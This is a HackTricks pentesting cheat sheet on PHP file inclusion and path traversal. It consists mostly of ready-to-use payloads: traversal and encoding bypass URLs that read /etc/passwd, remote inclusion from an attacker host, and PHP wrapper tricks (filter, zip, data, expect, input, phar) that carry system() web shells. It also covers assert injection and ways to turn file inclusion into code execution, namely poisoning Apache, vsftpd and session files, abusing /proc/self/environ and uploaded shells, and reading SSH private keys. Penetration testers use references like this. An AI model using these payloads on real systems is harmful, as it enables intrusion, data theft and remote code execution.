hacktricks/pentesting-web/file-inclusion/README.md

# File Inclusion/Path traversal

{% hint style="warning" %}
**Support HackTricks and get benefits!**

Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
{% endhint %}

## File Inclusion

**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow\_url\_include**).\
**Local File Inclusion (LFI):** The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable **PHP functions**: require, require\_once, include, include\_once

A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

## Blind - Interesting - LFI2RCE files

```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```

### **Linux**

**Mixing several \*nix LFI lists and adding more paths I have created this one:**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Try also to change `/` for `\`\
Try also to add `../../../../../`

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

### **Windows**

Merging several lists I have created:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

### **OS X**

Check the LFI list of linux.

## Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).

```
http://example.com/index.php?page=../../../etc/passwd
```

### traversal sequences stripped non-recursively

```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```

### **Null byte (%00)**

Bypass the append more chars at the end of the provided string (bypass of: $\_GET\['param']."php")

```
http://example.com/index.php?page=../../../etc/passwd%00
```

This is **solved since PHP 5.4**

### **Encoding**

You could use non-standard encondings like double URL encode (and others):

```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### From existent folder

Maybe the back-end is checking the folder path:

```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```

### **Path truncation**

Bypass the append of more chars at the end of the provided string (bypass of: $\_GET\['param']."php")

```
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```

```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```

Always try to **start** the path **with a fake directory** (a/).

**This vulnerability was corrected in PHP 5.3.**

### **Filter bypass tricks**

```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```

## Basic RFI

```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

## Top 25 parameters

Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):

```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```

## LFI / RFI using PHP wrappers

### Wrapper php://filter

#### Base64 and rot13

The part "php://filter" is case insensitive

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

#### zlib (compression)

Can be chained with a **compression** wrapper for large files.

```
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

To read the comppression data you need to decode the base64 and read the resulting data using:

```bash
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
```

**NOTE: Wrappers can be chained**

### Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### Wrapper data://

```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**

### Wrapper expect://

Expect has to be activated. You can execute code using this.

```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### Wrapper input://

Specify your payload in the POST parameters

```
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
```

### Wrapper phar://

A `.phar` file can be also used to execute PHP code if the web is using some function like `include` to load the file.

{% code title="create_phar.php" %}
```python
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();
```
{% endcode %}

And you can compile the `phar` executing the following line:

```bash
php --define phar.readonly=0 create_path.php
```

A file called `test.phar` will be generated that you can use to abuse the LFI.

If the LFI is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\
For more information read the following post:

{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}

### More protocols

Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php).

## LFI via PHP's 'assert'

If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.

A payload like this:

```
' and die(show_source('/etc/passwd')) or '
```

will successfully exploit PHP code for a "file" parameter that looks like this:

```
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
```

It's also possible to get RCE in a vulnerable "assert" statement using the system() function:

```
' and die(system("whoami")) or '
```

Be sure to URL-encode payloads before you send them.

## LFI2RCE

### Basic RFI

```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

### Via Apache log file

If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.

Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.

This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:

```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```

Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)

### Via Email

Send a mail to a internal account (user@localhost) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER\&cmd=whoami**_

### Via /proc/\*/fd/\*

1. Upload a lot of shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

### Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### Via upload

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

### Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```

### Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files

```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```

### Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id\_rsa**

### **Via** **vsftpd** _**logs**_

The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.

### Via Nginx temp file storage

If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}

### Via phpinfo() (file\_uploads = on)

If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file\_uploads = on you can get RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}

### References

[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}